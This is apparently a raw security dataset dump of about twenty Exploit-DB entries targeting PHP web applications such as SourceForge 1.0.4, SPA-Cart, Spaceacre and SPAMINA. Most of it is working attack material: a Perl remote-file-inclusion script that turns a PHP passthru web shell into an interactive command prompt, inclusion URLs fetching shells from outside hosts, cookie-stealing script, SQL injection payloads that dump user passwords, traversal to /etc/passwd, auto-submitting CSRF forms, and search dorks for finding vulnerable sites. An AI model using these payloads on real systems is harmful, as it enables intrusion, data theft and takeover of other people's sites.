deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2623
Description: SourceForge 1.0.4 - 'database.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-23
Author: Kw3[R]Ln

Exploit:
#!/usr/bin/perl
#
# SourceForge-1.0.4 remote Command Execution Vulnerabilities
# 
# Risk : High (Remote Code Execution)
# 
# Url: http://lbdpc15.epfl.ch/~ibd/IBD2000/SourceForge-1.0.4.tgz
#
# Exploit: 
#   http://site.com/[path]/include/database.php?sys_dbtype=[Evil_Script]
#
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
# Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST ! 

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ". SourceForge-1.0.4 remote Command Execution Vulnerabilities  .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n"; 
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];	
chomp($shell);
    
$path = $path."/include/database.php";


sub usage(){
	print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
	print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?sys_dbtype=".$shell."?&cmd=".$cmd; 
if ($cmd eq "")     
  { print "Enter your command !\n"; }
else 
  { $data=get($kw3); print $data ; }
}

# milw0rm.com [2006-10-23]
Exploit-DB #7946
Description: sourdough 0.3.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-02
Author: ahmadbady

Exploit:
-----------------:Remote File Include:-----------------
-------------------------------------------------------
script:sourdough 0.3.5
   
------------------------------------------------------------------
download from:http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/s/so/sourdough/sourdough-0.3.5-alpha.zip
   
------------------------------------------------------------------

........................................................
vul: /thirdparty/patForms/examples/example_clientside_javascript.php line 32

  require_once $neededFiles['patForms'];

------------------------------------------------------
-----------------------------------------------------

xpl:

http://127.0.0.1/thirdparty/patForms/examples/example_clientside_javascript.php?neededFiles[patForms]=shell.txt?


***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]

from[iran]
---------------------------------------------------

# milw0rm.com [2009-02-02]
Exploit-DB #45736
Description: South Gate Inn Online Reservation System 1.0 - 'q' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-30
Author: Ihsan Sencan

Exploit:
# Exploit Title: South Gate Inn Online Reservation System 1.0 - 'q' SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/southgateinn_0.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/admin/mod_users/controller.php?action=edit
# 
POST /[PATH]/admin/mod_users/controller.php?action=edit HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=upb6pa4qn0h16clnht4ugvhee1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
USERID=1&UNAME=Anonymous&USERNAME=efe&deptid=&UPASS=efe&ROLE=Administrator&deptid=&PHONE=912856478&save=
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 14:20:22 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 57
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/index.php?p=accomodation&q=[SQL]
# 
GET /[PATH]/index.php?p=accomodation&q=-Standard%20Room%27%20%20UNION%20SELECT%201,2,3,(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x),5,6,7,8,9,10,11--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=upb6pa4qn0h16clnht4ugvhee1
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 14:23:59 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #11430
Description: southburn Web - 'products.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-13
Author: AtT4CKxT3rR0r1ST

Exploit:
####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : southburn Web [http://southburn.ca/]
.:. Bug Type : Sql Injection[Mysql]
.:. Dork : "Powered by: Southburn"

####################################################################

===[ Exploit ]===

www.site.com/products.php?id=null[Sql]&r=null

www.site.com/products.php?id=null'+and+1=2+union+select+1,group_concat(id,0x3a,username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+userindex-- -&r=null

Exploit:

'+and+1=2+union+select+1,group_concat(id,0x3a,username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+userindex-- -

Path admin:

www.site.com/admin/index.php
####################################################################
Exploit-DB #51713
Description: SPA-Cart eCommerce CMS 1.9.0.3 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-09-04
Author: CraCkEr

Exploit:
# Exploit Title: SPA-Cart eCommerce CMS 1.9.0.3 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 20/08/2023
# Vendor: SPA-Cart
# Vendor Homepage: https://spa-cart.com/
# Software Link: https://demo.spa-cart.com/
# Version: 1.9.0.3
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4547
# CWE: CWE-79 - CWE-74 - CWE-707


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials


Path: /search

GET parameter 'filter[brandid]' is vulnerable to XSS
GET parameter 'filter[price]' is vulnerable to XSS

https://website/search?filtered=1&q=11&load_filter=1&filter[brandid]=[XSS]&filter[price]=[XSS]&filter[attr][Memory][]=500%20GB


XSS Payloads:

vnxjb"><script>alert(1)</script>bvu51


[-] Done
Exploit-DB #51714
Description: SPA-Cart eCommerce CMS 1.9.0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2023-09-08
Author: CraCkEr

Exploit:
# Exploit Title: SPA-Cart eCommerce CMS 1.9.0.3 - SQL Injection
# Exploit Author: CraCkEr
# Date: 20/08/2023
# Vendor: SPA-Cart
# Vendor Homepage: https://spa-cart.com/
# Software Link: https://demo.spa-cart.com/
# Version: 1.9.0.3
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-4548
# CWE: CWE-89 / CWE-74 / CWE-707


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.


Path: /search

GET parameter 'filter[brandid]' is vulnerable to SQL Injection

https://website/search?filtered=1&q=11&load_filter=1&filter[brandid]=[SQLi]&filter[price]=100-500&filter[attr][Memory][]=500%20GB&filter[attr][Color][]=Black

---
Parameter: filter[brandid] (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: filtered=1&q=11&load_filter=1&filter[brandid]=4'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z&filter[price]=100-500&filter[attr][Memory][]=500 GB&filter[attr][Color][]=Black
---


[-] Done
Exploit-DB #12756
Description: Spaceacre - '/index.php' SQL Injection / HTML / Cross-Site Scripting Injection
Type: webapps
Platform: php
Date: 2010-05-26
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

Spaceacre (index.php) SQL/HTML/XSS Injection Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Script Home: http://www.spaceacre.com

Dork 1: inurl:cat1.php?catID= "Spaceacre"

Dork 2: intext:"Designed by Spaceacre"

-------------------------------------------------------------------------------------------

SQL Injection:

http://localhost/[path]/index.php?catID=1 and 1=2
http://localhost/[path]/index.php?catID=1 and 1=1
-------------------------------------------------------------------------------------------

HTML Injection:

http://localhost/[path]/index.php?catID=<font size=15 color=green>CoBRa_21</font> HTML &#304;NJ.

-------------------------------------------------------------------------------------------

XSS Injection:

http://localhost/[path]/index.php?catID=index.php?catID= XSS &#304;NJ.

-------------------------------------------------------------------------------------------
Exploit-DB #12551
Description: Spaceacre - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-05-10
Author: gendenk

Exploit:
#Spaceacre Multiple SQL Injection Vulnerability
#by Wiro Sablenk aka Gendenk
#vendor :http://www.spaceacre.com/
#dork: "Designed by Spaceacre"
#poc: 

#####################################################
http://[target]/cat1.php?catID=[SQL]
http://[target]/cat2.php?catID=[SQL]
http://[target]/cat3.php?catID=[SQL]
http://[target]/cat4.php?catID=[SQL]
http://[target]/cat5.php?catID=[SQL]
http://[target]/cat6.php?catID=[SQL]


Life is challanging, the fear of challanges, causing you for backwardness..Facing for the bright future..

#Thanks to : cyberlog, cr4wl3r and MAMA Sri Rahayu [ istri cyberlog ] Semoga Cepet Lekas Sembuh

Manadocoding,Sekuritionline,Jatimcrew
#####################################################
Exploit-DB #12746
Description: Spaceacre - SQL Injection / Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2010-05-26
Author: XroGuE

Exploit:
=========================================================
Spaceacre (SQL/XSS/HTML) Injection Vulnerabilities
=========================================================
#########################################
# Name: Spaceacre (SQL/XSS/HTML) Injection Vulnerabilities
# Vendor: http://www.spaceacre.com
# Date: 2010-05-26
# Author: XroGuE
# Thanks to: Inj3ct0r.com [R0073r],Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: (-_+)
##########################################

[+] Dork: intext:"Designed by Spaceacre"

[+] Vulnerabilities:

#http://[target]/cat1.php?catID=[SQL/XSS/HTML]
#http://[target]/cat2.php?catID=[SQL/XSS/HTML]
#http://[target]/cat3.php?catID=[SQL/XSS/HTML]
#http://[target]/cat4.php?catID=[SQL/XSS/HTML]
#http://[target]/cat5.php?catID=[SQL/XSS/HTML]
#http://[target]/cat6.php?catID=[SQL/XSS/HTML]


[+] XSS InjecTion Vulnerability:

[+] Live Demo: http://www.baselinengn.com/cat1.php?catID=
http://server/cat2.php?catID=
http://server/cat3.php?catID=
http://server/cat4.php?catID=

###########################################

[+] HTML InjecTion Vulnerability:

[+] Live Demo: http://www.baselinengn.com/cat1.php?catID=<font color=red size=15>XroGuE</font>
http://server/cat2.php?catID=<font color=red size=15>XroGuE</font>
http://server/cat3.php?catID=<font color=red size=15>XroGuE</font>
http://server/cat4.php?catID=<font color=red size=15>XroGuE</font>

###########################################

[+] SQL InjecTion Vulnerability:

[+] Live Demo : http://server/cat1.php?catID=-999+union+all+select+1,version(),database()--

###########################################
Exploit-DB #27146
Description: sPaiz-Nuke - 'modules.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-30
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/16412/info

sPaiz-Nuke is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/sPaiz-Nuke/modules.php?name=Articles&file=search&query=[XSS]&type=articles&type=comments
Exploit-DB #38942
Description: SPAMINA Cloud Email Firewall - Directory Traversal
Type: webapps
Platform: php
Date: 2013-10-03
Author: Sisco Barrera

Exploit:
source: https://www.securityfocus.com/bid/64693/info

SPAMINA Cloud Email Firewall is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

A remote attacker could exploit the vulnerability using directory-traversal characters ('../') to access arbitrary files that contain sensitive information. Information harvested may aid in launching further attacks.

SPAMINA Cloud Email Firewall 3.3.1.1 is vulnerable; other versions may also be affected. 

https://www.example.com/?action=showHome&language=../../../../../../../../../../etc/passwd%00.jpg
https://www.example.com/multiadmin/js/lib/?action=../../../../../../../../../../etc/passwd&language=de
https://www.example.com/index.php?action=userLogin&language=../../../../../../../../../../etc/passwd.jpg
Exploit-DB #2165
Description: Spaminator 1.7 - 'page' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-10
Author: Drago84

Exploit:
Spaminator 1.7. ($page) Remote File Include
CreW: ToXiC
BuG Found By Drago84

SourcE CodE:
http://freshmeat.net/redir/spaminator/16281/url_tgz/spaminator-1.7.tar.gz

Page Affect is:
/src/Login.php

Problem is
   include "$page.php";

Path :
Declare $page

ExpL:
http://server/dir_spaminator/src/Login.php?page=http://www.evalsite.com/shell.php?

Greatz:str0ke

# milw0rm.com [2006-08-10]
Exploit-DB #15209
Description: SPAW Editor 2.0.8.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-10-05
Author: soorakh kos

Exploit:
# Exploit Title: local file include 
# Date: 
# Author: soorakh kos

# Software Link: http://sourceforge.net/projects/spaw/files/spaw-php/SPAW%20PHP%20v.2.0.8.1/spaw-php-2081-gpl.zip/download

# Version: SPAW Editor v.2

# Thanks:  kose roya , kose soosan , kose amam,kose dokhtar amam ,and all jaghi iranian boys
-----------


vul code: /path/dialogs/dialog.php

------------------------------------------------

poc:
/path/dialogs/dialog.php?dialog=lfi
/path/dialogs/dialog.php?module=lfi
Exploit-DB #11045
Description: SpawCMS Editor - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-06
Author: j4ck

Exploit:
# Author: j4ck
# j4ck from elitehackers.pl [j4ck.root@gmail.com]

#######

just go to directory

http:/server/[path]/spaw/demo.php
then use image Upload, select all filetypes, and
You can upload your evil PHP code, for example phpshell.

Shell will be uploaded to selected directory.
Exploit-DB #26244
Description: SPBAS Business Automation Software 2012 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-06-17
Author: Christy Philip Mathew

Exploit:
# SPBAS Business Automation Software- XSS & CSRF Vulnerability
# Date: 16 June 2013
# Author: Christy Philip Mathew - www.offcon.org
# Vendor or Software Link: http://www.spbas.com
# Version: 2012


*1.XSS Vulnerability*

(a) Client Area -> My Info -> Update the first name and last name to

john"><img src=x onerror=prompt(0);>

(b) Update the security question to

john"><img src=x onerror=prompt(0);>


*2.Cross Site Request Forgery*

(a) Change Customer Information

<html>

     <body onload=document.forms[0].submit();>
    <form action="http://website.com/customers/index.php" method="POST">
      <input type="hidden" name="task" value="my_account" />
      <input type="hidden" name="tab" value="my_info" />
      <input type="hidden" name="update_my_info" value="y" />
      <input type="hidden" name="first_name" value="hacked" />
      <input type="hidden" name="last_name" value="hacked" />
      <input type="hidden" name="username" value="hacked" />
      <input type="hidden" name="form_submission"
value="Save Changes" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


(b) Change Security Question Answer

<html>

   <body onload=document.forms[0].submit();>
    <form action="http://website.com/customers/index.php" method="POST">
      <input type="hidden" name="task" value="my_account" />
      <input type="hidden" name="tab" value="security_question" />
      <input type="hidden" name="change_security_question"
value="y" />
      <input type="hidden" name="question" value="1" />
      <input type="hidden" name="answer" value="test" />
      <input type="hidden" name="form_submission"
value="Save Changes" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>
Exploit-DB #22717
Description: SPChat 0.8 Module - Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-06-02
Author: Rynho Zeros Web

Exploit:
source: https://www.securityfocus.com/bid/7780/info

SPChat has been reported prone to a remote file include vulnerability.

The issue presents itself due to insufficient sanitization performed on the user-supplied URI variable 'statussess' by the SPChat module. It is possible for a remote attacker to include a malicious file in a URL.

This vulnerability was reported to affect SPChat version 0.8 other versions may also be affected. 

http://www.example.com/modules.php?op=modload&name=SPChat&file=index&statussess=<IFRAME%20src="http://www.attacker.com/attack.htm"%20marginWidth=0%20marginHeight=0%20fr
ameBorder=0%20width=500%20scrolling=yes%20height=500></IFRAME>

----- Source Code For attack.htm for eg. -----
?script>
alert(document.cookie);
?/script>
----- Source Code For attack.htm -----
Exploit-DB #14144
Description: Specialist Bed and Breakfast Website - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-30
Author: JaMbA

Exploit:
# Exploit Title: Specialist Bed and Breakfast website SQL injection
Vulnerability
# Date: 30/06/2010
# Author: JaMbA
#Script url: http://www.internetdm.co.uk/site/pages.php?fid=0,1,356
# Version: **N/A
# Tested on: Windows
# CVE : ()

:::::::::::::::::::::::::

:::::::::::::::::::::::::

=================Exploit======
============



[ EXPL0!T ]

http://server/path/pages.php?fid=0,1,472&pp_id=83[SQL]



===========================================================

Greetz to : Alnjm33-virus-pal -g3n1ux - Predator-Ahmadso - xXx-jago-dz
-injecteur-4PY-Tunisian Power Team- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ====
Exploit-DB #34029
Description: Specialized Data Systems Parent Connect 2010.04.11 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-05-21
Author: epixoip

Exploit:
source: https://www.securityfocus.com/bid/40324/info

Specialized Data Systems Parent Connect is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Parent Connect 2010.4.11 is vulnerable; other versions may also be affected. 

The following example data is available:

password: ' OR '1'='1
Exploit-DB #2576
Description: Specimen Image Database - 'client.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-16
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
SID - [dir] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : SID
URL : http://sid.zoology.gla.ac.uk/SID_box_notns.zip

------------------------------------------------------------------


Exploit:
~~~~~~~
Variable $dir not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/client.php?dir=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-16]
Exploit-DB #31358
Description: Specimen Image Database - 'taxonservice.php?dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-07
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28142/info

SID (Specimen Image Database) is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/SID_box_notns_path/taxonservice.php?dir=shell.txt?